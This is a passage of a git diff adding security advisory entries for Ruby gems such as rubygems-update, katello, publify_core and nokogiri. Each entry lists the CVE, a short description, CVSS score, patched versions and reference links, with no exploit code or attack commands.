+    - https://access.redhat.com/errata/RHSA-2020:0542
+    - https://access.redhat.com/errata/RHSA-2020:0591
+    - https://access.redhat.com/errata/RHSA-2020:0663
+    - https://lists.debian.org/debian-lts-announce/2018/04/msg00000.html
+    - https://lists.debian.org/debian-lts-announce/2018/04/msg00001.html
+    - https://lists.debian.org/debian-lts-announce/2018/04/msg00023.html
+    - https://lists.debian.org/debian-lts-announce/2018/07/msg00012.html
+    - https://lists.debian.org/debian-lts-announce/2019/05/msg00028.html
+    - https://usn.ubuntu.com/3621-1/
+    - https://www.debian.org/security/2018/dsa-4219
+    - https://www.debian.org/security/2018/dsa-4259
+    - http://blog.rubygems.org/2018/02/15/2.7.6-released.html
+    - http://lists.opensuse.org/opensuse-security-announce/2019-07/msg00036.html
+    - https://github.com/jruby/jruby/commit/0b06b48ab4432237ce5fc1bef47f2c6bcf7843f7
+---
diff --git a/advisories/_posts/2022-05-14-CVE-2018-1000077.md b/advisories/_posts/2022-05-14-CVE-2018-1000077.md
new file mode 100644
index 00000000..788635fe
--- /dev/null
+++ b/advisories/_posts/2022-05-14-CVE-2018-1000077.md
@@ -0,0 +1,44 @@
+---
+layout: advisory
+title: 'CVE-2018-1000077 (rubygems-update): RubyGems Improper Input Validation vulnerability'
+comments: false
+categories:
+- rubygems-update
+advisory:
+  gem: rubygems-update
+  cve: 2018-1000077
+  ghsa: gv86-43rv-79m2
+  url: https://github.com/rubygems/rubygems/commit/feadefc2d351dcb95d6492f5ad17ebca546eb964
+  title: RubyGems Improper Input Validation vulnerability
+  date: 2022-05-14
+  description: |
+    RubyGems version Ruby 2.2 series: 2.2.9 and earlier, Ruby 2.3 series:
+    2.3.6 and earlier, Ruby 2.4 series: 2.4.3 and earlier, Ruby 2.5 series: 2.5.0 and
+    earlier, prior to trunk revision 62422 contains a Improper Input Validation vulnerability
+    in ruby gems specification homepage attribute that can result in a malicious gem
+    setting an invalid homepage URL. This vulnerability is fixed in 2.7.6.
+  cvss_v3: 5.3
+  patched_versions:
+  - ">= 2.7.6"
+  related:
+    url:
+    - https://access.redhat.com/errata/RHSA-2018:3729
+    - https://access.redhat.com/errata/RHSA-2018:3730
+    - https://access.redhat.com/errata/RHSA-2018:3731
+    - https://access.redhat.com/errata/RHSA-2019:2028
+    - https://access.redhat.com/errata/RHSA-2020:0542
+    - https://access.redhat.com/errata/RHSA-2020:0591
+    - https://access.redhat.com/errata/RHSA-2020:0663
+    - https://lists.debian.org/debian-lts-announce/2018/04/msg00000.html
+    - https://lists.debian.org/debian-lts-announce/2018/04/msg00001.html
+    - https://lists.debian.org/debian-lts-announce/2018/04/msg00023.html
+    - https://lists.debian.org/debian-lts-announce/2018/07/msg00012.html
+    - https://lists.debian.org/debian-lts-announce/2019/05/msg00028.html
+    - https://usn.ubuntu.com/3621-1/
+    - https://www.debian.org/security/2018/dsa-4219
+    - https://www.debian.org/security/2018/dsa-4259
+    - http://blog.rubygems.org/2018/02/15/2.7.6-released.html
+    - http://lists.opensuse.org/opensuse-security-announce/2019-07/msg00036.html
+    - https://github.com/jruby/jruby/commit/0b06b48ab4432237ce5fc1bef47f2c6bcf7843f7
+    - https://github.com/rubygems/rubygems/commit/5971b486d4dbb2bad5d3445b3801c456eb0ce183
+---
diff --git a/advisories/_posts/2022-05-14-CVE-2018-1000078.md b/advisories/_posts/2022-05-14-CVE-2018-1000078.md
new file mode 100644
index 00000000..d6c47800
--- /dev/null
+++ b/advisories/_posts/2022-05-14-CVE-2018-1000078.md
@@ -0,0 +1,45 @@
+---
+layout: advisory
+title: 'CVE-2018-1000078 (rubygems-update): RubyGems Cross-site Scripting vulnerability'
+comments: false
+categories:
+- rubygems-update
+advisory:
+  gem: rubygems-update
+  cve: 2018-1000078
+  ghsa: 87qx-g5wg-mwmj
+  url: https://github.com/rubygems/rubygems/commit/66a28b9275551384fdab45f3591a82d6b59952cb
+  title: RubyGems Cross-site Scripting vulnerability
+  date: 2022-05-14
+  description: |
+    RubyGems version Ruby 2.2 series: 2.2.9 and earlier, Ruby 2.3 series:
+    2.3.6 and earlier, Ruby 2.4 series: 2.4.3 and earlier, Ruby 2.5 series: 2.5.0 and
+    earlier, prior to trunk revision 62422 contains a Cross Site Scripting (XSS) vulnerability
+    in gem server display of homepage attribute that can result in XSS. This attack
+    requires the victim to browse to a malicious gem on a vulnerable gem server. This
+    vulnerability is fixed in 2.7.6.
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 2.7.6"
+  related:
+    url:
+    - https://access.redhat.com/errata/RHSA-2018:3729
+    - https://access.redhat.com/errata/RHSA-2018:3730
+    - https://access.redhat.com/errata/RHSA-2018:3731
+    - https://access.redhat.com/errata/RHSA-2019:2028
+    - https://access.redhat.com/errata/RHSA-2020:0542
+    - https://access.redhat.com/errata/RHSA-2020:0591
+    - https://access.redhat.com/errata/RHSA-2020:0663
+    - https://lists.debian.org/debian-lts-announce/2018/04/msg00000.html
+    - https://lists.debian.org/debian-lts-announce/2018/04/msg00001.html
+    - https://lists.debian.org/debian-lts-announce/2018/04/msg00023.html
+    - https://lists.debian.org/debian-lts-announce/2018/07/msg00012.html
+    - https://lists.debian.org/debian-lts-announce/2019/05/msg00028.html
+    - https://usn.ubuntu.com/3621-1/
+    - https://www.debian.org/security/2018/dsa-4219
+    - https://www.debian.org/security/2018/dsa-4259
+    - http://blog.rubygems.org/2018/02/15/2.7.6-released.html
+    - http://lists.opensuse.org/opensuse-security-announce/2019-07/msg00036.html
+    - https://github.com/jruby/jruby/commit/0b06b48ab4432237ce5fc1bef47f2c6bcf7843f7
+    - https://github.com/rubygems/rubygems/commit/5971b486d4dbb2bad5d3445b3801c456eb0ce183
+---
diff --git a/advisories/_posts/2022-05-14-CVE-2018-1000079.md b/advisories/_posts/2022-05-14-CVE-2018-1000079.md
new file mode 100644
index 00000000..281adb93
--- /dev/null
+++ b/advisories/_posts/2022-05-14-CVE-2018-1000079.md
@@ -0,0 +1,44 @@
+---
+layout: advisory
+title: 'CVE-2018-1000079 (rubygems-update): RubyGems Path Traversal vulnerability'
+comments: false
+categories:
+- rubygems-update
+advisory:
+  gem: rubygems-update
+  cve: 2018-1000079
+  ghsa: 8qxg-mff5-j3wc
+  url: https://github.com/rubygems/rubygems/commit/666ef793cad42eed96f7aee1cdf77865db921099
+  title: RubyGems Path Traversal vulnerability
+  date: 2022-05-14
+  description: |
+    RubyGems version Ruby 2.2 series: 2.2.9 and earlier, Ruby 2.3 series:
+    2.3.6 and earlier, Ruby 2.4 series: 2.4.3 and earlier, Ruby 2.5 series: 2.5.0 and
+    earlier, prior to trunk revision 62422 contains a Directory Traversal vulnerability
+    in gem installation that can result in the gem writing to arbitrary filesystem locations
+    during installation. This attack appears to be exploitable via installation of a
+    malicious gem. This vulnerability is fixed in 2.7.6.
+  cvss_v3: 5.5
+  patched_versions:
+  - ">= 2.7.6"
+  related:
+    url:
+    - https://github.com/rubygems/rubygems/commit/f83f911e19e27cbac1ccce7471d96642241dd759
+    - https://access.redhat.com/errata/RHSA-2018:3729
+    - https://access.redhat.com/errata/RHSA-2018:3730
+    - https://access.redhat.com/errata/RHSA-2018:3731
+    - https://access.redhat.com/errata/RHSA-2019:2028
+    - https://access.redhat.com/errata/RHSA-2020:0542
+    - https://access.redhat.com/errata/RHSA-2020:0591
+    - https://access.redhat.com/errata/RHSA-2020:0663
+    - https://lists.debian.org/debian-lts-announce/2018/07/msg00012.html
+    - https://usn.ubuntu.com/3621-1/
+    - https://www.debian.org/security/2018/dsa-4219
+    - https://www.debian.org/security/2018/dsa-4259
+    - http://blog.rubygems.org/2018/02/15/2.7.6-released.html
+    - http://lists.opensuse.org/opensuse-security-announce/2019-07/msg00036.html
+    - https://github.com/jruby/jruby/commit/0b06b48ab4432237ce5fc1bef47f2c6bcf7843f7
+    - https://github.com/rubygems/rubygems/commit/5971b486d4dbb2bad5d3445b3801c456eb0ce183
+    - https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=895778
+    - https://security-tracker.debian.org/tracker/CVE-2018-1000079
+---
diff --git a/advisories/_posts/2022-05-14-CVE-2018-16887.md b/advisories/_posts/2022-05-14-CVE-2018-16887.md
new file mode 100644
index 00000000..b5ebe507
--- /dev/null
+++ b/advisories/_posts/2022-05-14-CVE-2018-16887.md
@@ -0,0 +1,27 @@
+---
+layout: advisory
+title: 'CVE-2018-16887 (katello): katello Cross-site Scripting vulnerability'
+comments: false
+categories:
+- katello
+advisory:
+  gem: katello
+  cve: 2018-16887
+  ghsa: mhhc-r88h-2qrm
+  url: https://access.redhat.com/errata/RHSA-2019:1222
+  title: katello Cross-site Scripting vulnerability
+  date: 2022-05-14
+  description: |
+    A cross-site scripting (XSS) flaw was found in the katello component
+    of Satellite. An attacker with privilege to create/edit organizations and locations
+    is able to execute a XSS attacks against other users through the Subscriptions or
+    the Red Hat Repositories wizards. This can possibly lead to malicious code execution
+    and extraction of the anti-CSRF token of higher privileged users. Versions before
+    3.9.0 are vulnerable.
+  cvss_v3: 5.4
+  patched_versions:
+  - ">= 3.9.0"
+  related:
+    url:
+    - https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-16887
+---
diff --git a/advisories/_posts/2022-05-14-CVE-2018-18307.md b/advisories/_posts/2022-05-14-CVE-2018-18307.md
new file mode 100644
index 00000000..491e086f
--- /dev/null
+++ b/advisories/_posts/2022-05-14-CVE-2018-18307.md
@@ -0,0 +1,30 @@
+---
+layout: advisory
+title: 'CVE-2018-18307 (alchemy_cms): AlchemyCMS is vulnerable to stored XSS via the
+  /admin/pictures image field'
+comments: false
+categories:
+- alchemy_cms
+advisory:
+  gem: alchemy_cms
+  cve: 2018-18307
+  ghsa: 7mj4-2984-955f
+  url: https://nvd.nist.gov/vuln/detail/CVE-2018-18307
+  title: AlchemyCMS is vulnerable to stored XSS via the /admin/pictures image field
+  date: 2022-05-14
+  description: |
+    A stored XSS vulnerability has been discovered in version 4.1.0 of AlchemyCMS
+    via the /admin/pictures image filename field.
+  cvss_v3: 5.9
+  unaffected_versions:
+  - "< 4.1.0"
+  notes: Never patched
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-18307
+    - http://packetstormsecurity.com/files/149787/Alchemy-CMS-4.1-Stable-Cross-Site-Scripting.html
+    - https://github.com/AlchemyCMS/alchemy_cms/blob/4.1-stable/app/controllers/alchemy/admin/base_controller.rb#L15
+    - https://github.com/AlchemyCMS/alchemy_cms/blob/4.1-stable/app/controllers/alchemy/admin/pictures_controller.rb#L5
+    - https://github.com/AlchemyCMS/alchemy_cms/blob/4.1-stable/app/controllers/alchemy/admin/resources_controller.rb#L21
+    - https://github.com/advisories/GHSA-7mj4-2984-955f
+---
diff --git a/advisories/_posts/2022-05-17-CVE-2012-3503.md b/advisories/_posts/2022-05-17-CVE-2012-3503.md
new file mode 100644
index 00000000..931b62d2
--- /dev/null
+++ b/advisories/_posts/2022-05-17-CVE-2012-3503.md
@@ -0,0 +1,36 @@
+---
+layout: advisory
+title: 'CVE-2012-3503 (katello): Katello uses hard coded credential'
+comments: false
+categories:
+- katello
+advisory:
+  gem: katello
+  cve: 2012-3503
+  ghsa: 5xv2-q475-rwrh
+  url: https://github.com/advisories/GHSA-5xv2-q475-rwrh
+  title: Katello uses hard coded credential
+  date: 2022-05-17
+  description: |
+    The installation script in Katello 1.0 and earlier does not properly
+    generate the `Application.config.secret_token` value, which causes
+    each default installation to have the same secret token, and allows
+    remote attackers to authenticate to the CloudForms System Engine
+    web interface as an arbitrary user by creating a cookie using the
+    default `secret_token`.
+  cvss_v2: 6.5
+  cvss_v3: 9.8
+  patched_versions:
+  - "~> 1.0.6"
+  - ">= 1.1.7"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2012-3503
+    - https://github.com/Katello/katello/pull/499
+    - https://github.com/Katello/katello/commit/7c256fef9d75029d0ffff58ff1dcda915056d3a3
+    - http://rhn.redhat.com/errata/RHSA-2012-1186.html
+    - http://rhn.redhat.com/errata/RHSA-2012-1187.html
+    - https://web.archive.org/web/20140806122239/http://secunia.com/advisories/50344
+    - https://web.archive.org/web/20200229120740/http://www.securityfocus.com/bid/55140
+    - https://github.com/advisories/GHSA-5xv2-q475-rwrh
+---
diff --git a/advisories/_posts/2022-05-17-CVE-2014-0084.md b/advisories/_posts/2022-05-17-CVE-2014-0084.md
new file mode 100644
index 00000000..ab0b1d9e
--- /dev/null
+++ b/advisories/_posts/2022-05-17-CVE-2014-0084.md
@@ -0,0 +1,31 @@
+---
+layout: advisory
+title: 'CVE-2014-0084 (openshift-origin-node): openshift-origin-node Improper Input
+  Validation vulnerability'
+comments: false
+categories:
+- openshift-origin-node
+advisory:
+  gem: openshift-origin-node
+  cve: 2014-0084
+  ghsa: 756m-3qf2-hp58
+  url: https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2014-0084
+  title: openshift-origin-node Improper Input Validation vulnerability
+  date: 2022-05-17
+  description: |
+    Ruby gem openshift-origin-node before 2014-02-14 does not
+    contain a cronjob timeout which could result in a denial of
+    service in cron.daily and cron.weekly.
+  cvss_v2: 2.1
+  cvss_v3: 5.5
+  notes: Gem was never patched
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2014-0084
+    - https://github.com/openshift/origin-server/pull/4764
+    - https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2014-0084
+    - https://access.redhat.com/errata/RHBA-2014:0487
+    - https://access.redhat.com/security/cve/CVE-2014-0084
+    - https://bugzilla.redhat.com/show_bug.cgi?id=1065198
+    - https://github.com/advisories/GHSA-756m-3qf2-hp58
+---
diff --git a/advisories/_posts/2022-05-17-CVE-2017-15364.md b/advisories/_posts/2022-05-17-CVE-2017-15364.md
new file mode 100644
index 00000000..9f900ab1
--- /dev/null
+++ b/advisories/_posts/2022-05-17-CVE-2017-15364.md
@@ -0,0 +1,19 @@
+---
+layout: advisory
+title: 'CVE-2017-15364 (ccsv): ccsv Double Free vulnerability'
+comments: false
+categories:
+- ccsv
+advisory:
+  gem: ccsv
+  cve: 2017-15364
+  ghsa: 5gxp-c379-pj42
+  url: https://github.com/evan/ccsv/issues/15
+  title: ccsv Double Free vulnerability
+  date: 2022-05-17
+  description: |
+    The foreach function in `ext/ccsv.c` in Ccsv 1.1.0 allows remote attackers
+    to cause a denial of service (double free and application crash) or possibly have
+    unspecified other impact via a crafted file.
+  cvss_v3: 5.5
+---
diff --git a/advisories/_posts/2022-05-17-CVE-2022-0574.md b/advisories/_posts/2022-05-17-CVE-2022-0574.md
new file mode 100644
index 00000000..b8b1cdf8
--- /dev/null
+++ b/advisories/_posts/2022-05-17-CVE-2022-0574.md
@@ -0,0 +1,24 @@
+---
+layout: advisory
+title: 'CVE-2022-0574 (publify_core): Incorrect Authorization in publify'
+comments: false
+categories:
+- publify_core
+advisory:
+  gem: publify_core
+  cve: 2022-0574
+  ghsa: 79m3-q3wh-c3qm
+  url: https://github.com/publify/publify/commit/0e6c66ac2002136517662399bca9d838c80d9739
+  title: Incorrect Authorization in publify
+  date: 2022-05-17
+  description: |
+    Improper Access Control in GitHub repository publify/publify prior to
+    9.2.8. Anonymous users can't view but can leave comments on an article in draft
+    mode.
+  cvss_v3: 6.5
+  patched_versions:
+  - ">= 9.2.8"
+  related:
+    url:
+    - https://huntr.dev/bounties/6f322c84-9e20-4df6-97e8-92bc271ede3f
+---
diff --git a/advisories/_posts/2022-05-17-CVE-2022-0578.md b/advisories/_posts/2022-05-17-CVE-2022-0578.md
new file mode 100644
index 00000000..60f0bd1e
--- /dev/null
+++ b/advisories/_posts/2022-05-17-CVE-2022-0578.md
@@ -0,0 +1,23 @@
+---
+layout: advisory
+title: 'CVE-2022-0578 (publify_core): Code injection in publify'
+comments: false
+categories:
+- publify_core
+advisory:
+  gem: publify_core
+  cve: 2022-0578
+  ghsa: w78q-4w34-jrjx
+  url: https://github.com/publify/publify/commit/b50df050c593cc532b2c516792989bcfce2d73f7
+  title: Code injection in publify
+  date: 2022-05-17
+  description: 'Code Injection in GitHub repository publify/publify prior to 9.2.8.
+
+    '
+  cvss_v3: 6.5
+  patched_versions:
+  - ">= 9.2.8"
+  related:
+    url:
+    - https://huntr.dev/bounties/02c81928-eb47-476f-8000-e93dc796dbcc
+---
diff --git a/advisories/_posts/2022-05-17-CVE-2022-1553.md b/advisories/_posts/2022-05-17-CVE-2022-1553.md
new file mode 100644
index 00000000..16789fe0
--- /dev/null
+++ b/advisories/_posts/2022-05-17-CVE-2022-1553.md
@@ -0,0 +1,25 @@
+---
+layout: advisory
+title: 'CVE-2022-1553 (publify_core): Article metadata exposure in publify'
+comments: false
+categories:
+- publify_core
+advisory:
+  gem: publify_core
+  cve: 2022-1553
+  ghsa: 5jm7-g527-m694
+  url: https://github.com/publify/publify/commit/1a78f16f460847274265a12a9555b3524892d7db
+  title: Article metadata exposure in publify
+  date: 2022-05-17
+  description: |
+    Leaking password protected articles content due to improper access control
+    in GitHub repository publify/publify prior to 9.2.8. Attackers can leverage this
+    vulnerability to view the contents of any password-protected article present on
+    the publify website, compromising confidentiality and integrity of users.
+  cvss_v3: 4.9
+  patched_versions:
+  - ">= 9.2.8"
+  related:
+    url:
+    - https://huntr.dev/bounties/b398e4c9-6cdf-4973-ad86-da796cde221f
+---
diff --git a/advisories/_posts/2022-05-18-GHSA-cgx6-hpwq-fhv5.md b/advisories/_posts/2022-05-18-GHSA-cgx6-hpwq-fhv5.md
new file mode 100644
index 00000000..8b70b372
--- /dev/null
+++ b/advisories/_posts/2022-05-18-GHSA-cgx6-hpwq-fhv5.md
@@ -0,0 +1,66 @@
+---
+layout: advisory
+title: 'GHSA-cgx6-hpwq-fhv5 (nokogiri): Integer Overflow or Wraparound in libxml2
+  affects Nokogiri'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  ghsa: cgx6-hpwq-fhv5
+  url: https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-cgx6-hpwq-fhv5
+  title: Integer Overflow or Wraparound in libxml2 affects Nokogiri
+  date: 2022-05-18
+  description: |
+    ### Summary
+
+    Nokogiri v1.13.5 upgrades the packaged version of its dependency libxml2 from
+    v2.9.13 to [v2.9.14](https://gitlab.gnome.org/GNOME/libxml2/-/releases/v2.9.14).
+
+    libxml2 v2.9.14 addresses [CVE-2022-29824](https://nvd.nist.gov/vuln/detail/CVE-2022-29824).
+    This version also includes several security-related bug fixes for which CVEs were not created,
+    including a potential double-free, potential memory leaks, and integer-overflow.
+
+    Please note that this advisory only applies to the CRuby implementation of Nokogiri
+    `< 1.13.5`, and only if the _packaged_ libraries are being used. If you've overridden
+    defaults at installation time to use _system_ libraries instead of packaged libraries,
+    you should instead pay attention to your distro's `libxml2` and `libxslt` release announcements.
+
+    ### Mitigation
+
+    Upgrade to Nokogiri `>= 1.13.5`.
+
+    Users who are unable to upgrade Nokogiri may also choose a more complicated mitigation:
+    compile and link Nokogiri against external libraries libxml2 `>= 2.9.14` which will also
+    address these same issues.
+
+    ### Impact
+
+    #### libxml2 [CVE-2022-29824](https://nvd.nist.gov/vuln/detail/CVE-2022-29824)
+
+    - **CVSS3 score**:
+      - Unspecified upstream
+      - Nokogiri maintainers evaluate at 8.6 (High) ([CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H)). Note that this is different from the CVSS assessed by NVD.
+    - **Type**: Denial of service, information disclosure
+    - **Description**: In libxml2 before 2.9.14, several buffer handling functions in buf.c (xmlBuf*) and tree.c (xmlBuffer*) don't check for integer overflows. This can result in out-of-bounds memory writes. Exploitation requires a victim to open a crafted, multi-gigabyte XML file. Other software using libxml2's buffer functions, for example libxslt through 1.1.35, is affected as well.
+    - **Fixed**: https://gitlab.gnome.org/GNOME/libxml2/-/commit/2554a24
+
+    All versions of libml2 prior to v2.9.14 are affected.
+
+    Applications parsing or serializing multi-gigabyte documents (in excess of INT_MAX bytes) may be vulnerable to an integer overflow bug in buffer handling that could lead to exposure of confidential data, modification of unrelated data, or a segmentation fault resulting in a denial-of-service.
+
+
+    ### References
+
+    - [libxml2 v2.9.14 release notes](https://gitlab.gnome.org/GNOME/libxml2/-/releases/v2.9.14)
+    - [CVE-2022-29824](https://nvd.nist.gov/vuln/detail/CVE-2022-29824)
+    - [CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer](https://cwe.mitre.org/data/definitions/119.html)
+  cvss_v3: 8.6
+  patched_versions:
+  - ">= 1.13.5"
+  related:
+    url:
+    - https://gitlab.gnome.org/GNOME/libxml2/-/releases/v2.9.14
+    cve:
+    - 2022-29824
+---
diff --git a/advisories/_posts/2022-05-19-CVE-2019-25061.md b/advisories/_posts/2022-05-19-CVE-2019-25061.md
new file mode 100644
index 00000000..4d435aea
--- /dev/null
+++ b/advisories/_posts/2022-05-19-CVE-2019-25061.md
@@ -0,0 +1,24 @@
+---
+layout: advisory
+title: 'CVE-2019-25061 (random_password_generator): Insecure PRNG use in random_password_generator'
+comments: false
+categories:
+- random_password_generator
+advisory:
+  gem: random_password_generator
+  cve: 2019-25061
+  ghsa: ggfx-h9xj-5v9c
+  url: https://github.com/bvsatyaram/random_password_generator/pull/1
+  title: Insecure PRNG use in random_password_generator
+  date: 2022-05-19
+  description: |
+    The random_password_generator (aka RandomPasswordGenerator) gem through
+    1.0.0 for Ruby uses Kernel#rand to generate passwords, which, due to its cyclic
+    nature, can facilitate password prediction.
+  cvss_v3: 7.5
+  related:
+    url:
+    - https://github.com/bvsatyaram/random_password_generator/blob/2855e8d7d8803dbb580ddd6cf13846394eb4530e/lib/random_password_generator.rb#L23
+    - https://ruby-doc.org/core-3.1.2/Random.html
+    - https://stackoverflow.com/questions/42170239/security-of-rand-in-ruby-compared-to-other-methods/42170560
+---
diff --git a/advisories/_posts/2022-05-23-CVE-2022-29181.md b/advisories/_posts/2022-05-23-CVE-2022-29181.md
new file mode 100644
index 00000000..a5040470
--- /dev/null
+++ b/advisories/_posts/2022-05-23-CVE-2022-29181.md
@@ -0,0 +1,43 @@
+---
+layout: advisory
+title: 'CVE-2022-29181 (nokogiri): Improper Handling of Unexpected Data Type in Nokogiri'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  cve: 2022-29181
+  ghsa: xh29-r2w5-wx8m
+  url: https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-xh29-r2w5-wx8m
+  title: Improper Handling of Unexpected Data Type in Nokogiri
+  date: 2022-05-23
+  description: |
+    ### Summary
+
+    Nokogiri `< v1.13.6` does not type-check all inputs into the XML and HTML4 SAX parsers.
+    For CRuby users, this may allow specially crafted untrusted inputs to cause illegal
+    memory access errors (segfault) or reads from unrelated memory.
+
+    ### Severity
+
+    The Nokogiri maintainers have evaluated this as **High 8.2** (CVSS3.1).
+
+    ### Mitigation
+
+    CRuby users should upgrade to Nokogiri `>= 1.13.6`.
+
+    JRuby users are not affected.
+
+    ### Workarounds
+
+    To avoid this vulnerability in affected applications, ensure the untrusted input is a
+    `String` by calling `#to_s` or equivalent.
+  cvss_v3: 8.2
+  patched_versions:
+  - ">= 1.13.6"
+  related:
+    url:
+    - https://github.com/sparklemotion/nokogiri/commit/db05ba9a1bd4b90aa6c76742cf6102a7c7297267
+    - https://github.com/sparklemotion/nokogiri/releases/tag/v1.13.6
+    - https://securitylab.github.com/advisories/GHSL-2022-031_GHSL-2022-032_Nokogiri/
+---
diff --git a/advisories/_posts/2022-05-24-CVE-2015-2784.md b/advisories/_posts/2022-05-24-CVE-2015-2784.md
new file mode 100644
index 00000000..5ec49622
--- /dev/null
+++ b/advisories/_posts/2022-05-24-CVE-2015-2784.md
@@ -0,0 +1,20 @@
+---
+layout: advisory
+title: 'CVE-2015-2784 (papercrop): papercrop does not properly handle crop input'
+comments: false
+categories:
+- papercrop
+advisory:
+  gem: papercrop
+  cve: 2015-2784
+  ghsa: m44r-gv6q-9j9r
+  url: https://github.com/rsantamaria/papercrop/commit/b4ecd95debaf0a8712bd1d34def83f41fc6b3579
+  title: papercrop does not properly handle crop input
+  date: 2022-05-24
+  description: |
+    The papercrop gem before 0.3.0 for Ruby on Rails does not properly handle
+    crop input.
+  cvss_v3: 9.8
+  patched_versions:
+  - ">= 0.3.0"
+---
diff --git a/advisories/_posts/2022-05-24-CVE-2019-10226.md b/advisories/_posts/2022-05-24-CVE-2019-10226.md
new file mode 100644
index 00000000..fe50102c
--- /dev/null
+++ b/advisories/_posts/2022-05-24-CVE-2019-10226.md
@@ -0,0 +1,18 @@
+---
+layout: advisory
+title: 'CVE-2019-10226 (fat_free_crm): Fat Free CRM Cross-site Scripting vulnerability'
+comments: false
+categories:
+- fat_free_crm
+advisory:
+  gem: fat_free_crm
+  cve: 2019-10226
+  ghsa: gmg5-r3c4-3fm9
+  url: http://packetstormsecurity.com/files/152263/Fat-Free-CRM-0.19.0-HTML-Injection.html
+  title: Fat Free CRM Cross-site Scripting vulnerability
+  date: 2022-05-24
+  description: |
+    HTML Injection has been discovered in the v0.19.0 version of the Fat
+    Free CRM product via an authenticated request to the /comments URI.
+  cvss_v3: 5.4
+---
diff --git a/advisories/_posts/2022-05-24-CVE-2019-12408.md b/advisories/_posts/2022-05-24-CVE-2019-12408.md
new file mode 100644
index 00000000..e2973fce
--- /dev/null
+++ b/advisories/_posts/2022-05-24-CVE-2019-12408.md
@@ -0,0 +1,29 @@
+---
+layout: advisory
+title: 'CVE-2019-12408 (red-arrow): Missing Initialization of Resource in Apache Arrow'
+comments: false
+categories:
+- red-arrow
+advisory:
+  gem: red-arrow
+  cve: 2019-12408
+  ghsa: 8cw2-jv5c-c825
+  url: https://lists.apache.org/thread.html/49f067b1c5fb7493d952580f0d2d032819ba351f7a78743c21126269@%3Cdev.arrow.apache.org%3E
+  title: Missing Initialization of Resource in Apache Arrow
+  date: 2022-05-24
+  description: |
+    It was discovered that the C++ implementation (which underlies the R,
+    Python and Ruby implementations) of Apache Arrow 0.14.0 to 0.14.1 had a uninitialized
+    memory bug when building arrays with null values in some cases. This can lead to
+    uninitialized memory being unintentionally shared if Arrow Arrays are transmitted
+    over the wire (for instance with Flight) or persisted in the streaming IPC and file
+    formats.
+  cvss_v3: 7.5
+  unaffected_versions:
+  - "< 0.14.0"
+  patched_versions:
+  - ">= 0.15.1"
+  related:
+    url:
+    - https://lists.apache.org/thread.html/efd8bbf57427d3c303b5316d208a335f8d0c0dbe0dc4c87cfa995073@%3Cannounce.apache.org%3E
+---
diff --git a/advisories/_posts/2022-05-24-CVE-2019-12410.md b/advisories/_posts/2022-05-24-CVE-2019-12410.md
new file mode 100644
index 00000000..c9607254
--- /dev/null
+++ b/advisories/_posts/2022-05-24-CVE-2019-12410.md
@@ -0,0 +1,30 @@
+---
+layout: advisory
+title: 'CVE-2019-12410 (red-arrow): Missing Initialization of Resource in Apache Arrow'
+comments: false
+categories:
+- red-arrow
+advisory:
+  gem: red-arrow
+  cve: 2019-12410
+  ghsa: cjw4-2w9r-r8mv
+  url: https://lists.apache.org/thread.html/49f067b1c5fb7493d952580f0d2d032819ba351f7a78743c21126269@%3Cdev.arrow.apache.org%3E
+  title: Missing Initialization of Resource in Apache Arrow
+  date: 2022-05-24
+  description: |
+    While investigating UBSAN errors in https://github.com/apache/arrow/pull/5365
+    it was discovered Apache Arrow versions 0.12.0 to 0.14.1, left memory Array data
+    uninitialized when reading RLE null data from parquet. This affected the C++, Python,
+    Ruby and R implementations. The uninitialized memory could potentially be shared
+    if are transmitted over the wire (for instance with Flight) or persisted in the
+    streaming IPC and file formats.
+  cvss_v3: 7.5
+  unaffected_versions:
+  - "< 0.12.0"
+  patched_versions:
+  - ">= 0.15.1"
+  related:
+    url:
+    - https://lists.apache.org/thread.html/efd8bbf57427d3c303b5316d208a335f8d0c0dbe0dc4c87cfa995073@%3Cannounce.apache.org%3E
+    - http://www.openwall.com/lists/oss-security/2019/11/08/1
+---
diff --git a/advisories/_posts/2022-05-24-CVE-2019-13118.md b/advisories/_posts/2022-05-24-CVE-2019-13118.md
new file mode 100644
index 00000000..08a4b745
--- /dev/null
+++ b/advisories/_posts/2022-05-24-CVE-2019-13118.md
@@ -0,0 +1,69 @@
+---
+layout: advisory
+title: 'CVE-2019-13118 (nokogiri): libxslt Type Confusion vulnerability that affects
+  Nokogiri'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  cve: 2019-13118
+  ghsa: cf46-6xxh-pc75
+  url: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=15069
+  title: libxslt Type Confusion vulnerability that affects Nokogiri
+  date: 2022-05-24
+  description: |
+    In `numbers.c` in libxslt 1.1.33, a type holding grouping characters of an `xsl:number` instruction was too narrow and an invalid character/length combination could be passed to `xsltNumberFormatDecimal`, leading to a read of uninitialized stack data.
+
+    Nokogiri prior to version 1.10.5 used a vulnerable version of libxslt. Nokogiri 1.10.5 updated libxslt to version 1.1.34 to address this and other vulnerabilities in libxslt.
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 1.10.5"
+  related:
+    url:
+    - https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=15069
+    - https://gitlab.gnome.org/GNOME/libxslt/commit/6ce8de69330783977dd14f6569419489875fb71b
+    - https://lists.apache.org/thread.html/r58af02e294bd07f487e2c64ffc0a29b837db5600e33b6e698b9d696b@%3Cissues.bookkeeper.apache.org%3E
+    - https://lists.apache.org/thread.html/rf4c02775860db415b4955778a131c2795223f61cb8c6a450893651e4@%3Cissues.bookkeeper.apache.org%3E
+    - https://lists.debian.org/debian-lts-announce/2019/07/msg00020.html
